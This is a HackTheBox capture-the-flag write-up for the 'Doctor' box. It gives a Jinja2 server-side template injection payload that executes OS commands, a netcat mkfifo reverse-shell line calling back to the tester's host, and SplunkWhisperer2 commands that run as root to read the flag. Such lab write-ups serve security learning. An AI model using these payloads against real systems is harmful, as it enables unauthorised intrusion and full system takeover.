Series Intro

This is the first in a series of HackTheBox write-ups I intend on producing. You’ll find that my walkthrough style is very “to-the-point”, with a sprinkling of commentary on my thought process as well as some of the things I tried first before actually figuring out the next step in the exploitation chain.

Note: These write-ups assume you have familiarity with HackTheBox, know how to get an account and understand how to connect to the individual boxes themselves over the HtB VPN.


Jump to Section

Doctor

For this first box, I went with “Doctor”. This Linux system was rated “Easy” by HackTheBox and rated closer to a “Medium” difficulty by HackTheBox users.

HTB-DOCTOR

Reconnaissance & Foothold

First, I verified connectivity to the target system with the following command. This is NMAP’s Ping Scan flag (-sn) which performs a couple different types of pings (e.g. ICMP, TCP, etc…)

nmap -sn 10.10.10.209

NMAP PING

Once I verified connectivity, I did a quick SYN (-sS) port / service discovery scan also using NMAP (sticking with just the default NMAP ports).

sudo nmap -sS 10.10.10.209 -sV

NMAP Service

TIP: You’ll notice I used sudo for this specific NMAP command. This is required when sending raw network traffic which happens by default with the command as written above.

With this scan, I’ve identified ports 22, 80 and 8809. The web server (listening on port 80) would be the natural place to start snooping around but the service (Splunkd httpd) listening on 8089 drew my attention first as it isn’t something I see every day.

The service listening on this port is a web server and hosted something clearly Splunk-related. At first glance, I noticed there is a version number (8.0.5) visible as well as some links that could prove interesting (named - “rpc”, “services”, “servicesNS” and “static”, respectively). Clicking on some of these gave me a password modal that after a few standard password guess attempts yielded no further entry. I poked around this web server a bit more but couldn’t find anything that helped push me forward so I decided to check out the web server on port 80 I had discovered earlier.

Having turned my attention to the web server on port 80 (http://10.10.10.209)., I began an initial high-level recon sweep… no robots.txt, no obvious third party web app libraries/components in use (after viewing source and clicking on all the visible links) and no obvious injection points or form fields to abuse…hmm…

What I did notice was the domain info@doctors.htb on the main page. Adding the line “10.10.10.209 doctors.htb” to my /etc/hosts file, I was then able to navigate to the virtual host http://doctors.htb where I found some new functionality. What I found was a portal titled “Doctor Secure Messaging”. After registering a user, I was then then able to create a “message” via the “New Message” link in the top right of the portal. Posting this message did nothing particularly interesting and trying a few basic injection payloads in the message form fields didn’t seem to do much either as the messages themselves we’re not reflected back to the http://doctors.htb/home page.

When viewing the source of the /home page I noticed an interesting nugget - the comment “<!-archive still under beta testing“…

Navigating to doctors.htb/archive page I find merely a blank page. Viewing the source of this page, I see an XML-based RSS feed where the data from the title fields of the messages from the previous functionality have been reflected. This is shown below…

RSS CHANNEL

OK, so this is definitely where the box got a little tricky for me and based on the forum posts for this particular system, where it got tricky for a lot of other HackTheBox-ers. Fortunately, some small bit of my past web-app pentesting experience would ultimately come in handy for figuring out how to exploit this particular component.

At first, I wasn’t exactly sure what to do so I resorted to just throwing injection payloads at the title field of the messaging component until something stuck. Some time later, I saw one of my payloads, {{10*10}} evaluate on the /archive page to “100”. It was here, with this payload, I was reminded of an injection-class I had previously found on a penetration test - specifically, Server Side Template Injection (SSTI). So, i started spamming some SSTI payloads. After some time, and plenty of googling - I came across the following blog post https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/ which housed a payload that worked for me.

\{\{request.application.__globals__.__builtins__.__import__('os').popen('hostname').read()\}\}

Throwing this payload into the messages “title” field, I get some code execution and output of the command in the /archive as shown below. As you can see, we can now run code on the host “Doctor”!

HOSTNAME

After confirming I could indeed execute arbitrary commands, I wanted to get a reverse shell in order to more easily peruse the file system, escalate privileges, etc… To do so, I spun up a netcat listener using “nc -nlvp 4444” on my host system and then dropped the following reverse shell into the previous injection payload.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 4444> /tmp/f

The final payload looked as shown below…

\{\{request.application.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 4444> /tmp/f').read()\}\}

Now after submitting the message with the payload above in the title and then refreshing the /archive page, I got the shell shoveled back to my host system!

CONNECT BACK WEB FOOTHOLD IMG

User Flag

Now, with the initial foothold on “Doctor” as the “web” user, first we want to upgrade our shell to a fully interactive TTY shell. We can do so by running the following…

python3 -c 'import pty; pty.spawn("/bin/bash")'

Python PTY

Taking a look at /etc/passwd I see two potentially interesting users, “shaun” and “splunk”. From here, I tried A LOT of typical information gathering and privesc stuff, much of which comes from the classic g0tmilk Linux Privesc guide. After some time, I made my way to /var/log and found an apache backup file with a rather revealing log entry. I found this by grepping for “password” using the command below.

grep -r password . 2>/dev/null

Note: The 2>/dev/null is going to send my error output to /dev/null so errors won’t be printed to command output. This cleans up the output of this command.

The log entry of interest from this command is as you can see below…

./apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
Binary file ./journal/62307f5876ce4bdeb1a4be33bebfb978/system.journal matches

In this log entry, we can see a password reset which was initiated by shaun. One “su shaun” with “Guitar123” later and I am now shaun. Digging around in the Linux host as shaun for a while turned up nothing in terms of progression to root but I was able to pull down the user.txt file in shaun’s home directory.

Root Flag

With a set of credentials in-hand, I decided to return to the Splunkd httpd server I had discovered earlier. Using these creds on that main site of the splunkd server I find that they…work! Ok, great. Now how does that help me get root? After some tooling around with the newly exposed functionality and the “rpc” component of the server, I turned yet again to trusty Google. Quickly into that research stint I came across this blog article which then led me to the handy-dandy tool SplunkWhisperer, second of its name. From the documentation, it appeared this tool could give me code execution.

Of course even if I was able to execute code within the context of the user who installed splunkd, that wouldn’t guarantee I would have root privileges - not unless of course that service was run as root (or someone with sudo/root privs). So back to my low-priv shell on the Linux box I go to check on the origins of the splunkd service.

Lo’ and behold, splunkd is running, courtesy of root! (as shown below…)

splunkd

Ok, so root ran splunkd, and splunkd will faithfully execute some code for me via SplunkWhisperer. Let’s put it all together… I clone down SplunkWhisperer2, cd to PySplunkWhisperer2 and then try a simple payload, run remotely via PySplunkWhisperer2_remote.py

git clone https://github.com/cnotin/SplunkWhisperer2.git
cd PySplunkWhisperer2
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.29 --username shaun --password Guitar123 --payload id

Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmped00srun.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.29:8181/
10.10.10.209 - - [15/Jan/2021 15:19:35] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup

[.] Removing app...
[+] App removed
[+] Stopped HTTP server
Bye!

Ok…. hmmm… I didn’t get much in the way of command output after running SplunkWhisperer. I figure everything looks right with the command syntax so I assumed the code was indeed running as root on the remote machine however this tool just simply doesn’t provide the command output in it’s own output. To test this, I whipped up a different (still very simple) command to cat the username for which the service would execute as to a file, write that file to the /tmp directory and then chmod the permissions so I could read it as shaun or web via my already established session.

python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.29 --username shaun --password Guitar123 --payload "whoami > /tmp/whoami.txt; chmod 777 /tmp/whoami.txt"

Turns out - splunkd was indeed run as root!

whoami root image

Alright, now I want the root flag. So instead, I cat the root.txt flag from /root to a file in /tmp, chmod it and then read it the same way as before!

python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.29 --username shaun --password Guitar123 --payload "cat /root/root.txt > /tmp/rootflag.txt; chmod 777 /tmp/rootflag.txt"

Eureka!

ROOT FLAG.txt

Wrap Up

Overall, I think this box was indeed (relatively) easy, as HackTheBox themselves said. Though I must admit, parts of it did prove a little tricky for me in practice. Some of my big takeaways from this box were…

  • SSTI is something I should more regularly account for as part of my normal injection tests.
  • From a defensive perspective, it seems like a good idea to avoid randomly exposing Splunk to untrusted users (if you are an administrator of Splunk)
  • Logs are a great place to hunt for loot. In fact, a little clue related to the log portion of this box is hidden in plain-sight. Thanks to one of my coworkers, the (very) subtle clue, hidden inside the artwork for the box itself, hints at this very thing (take notice of the “log” and the “injection”). Take a look for yourself and revel in it’s unnerving elegance.

HTB Doctor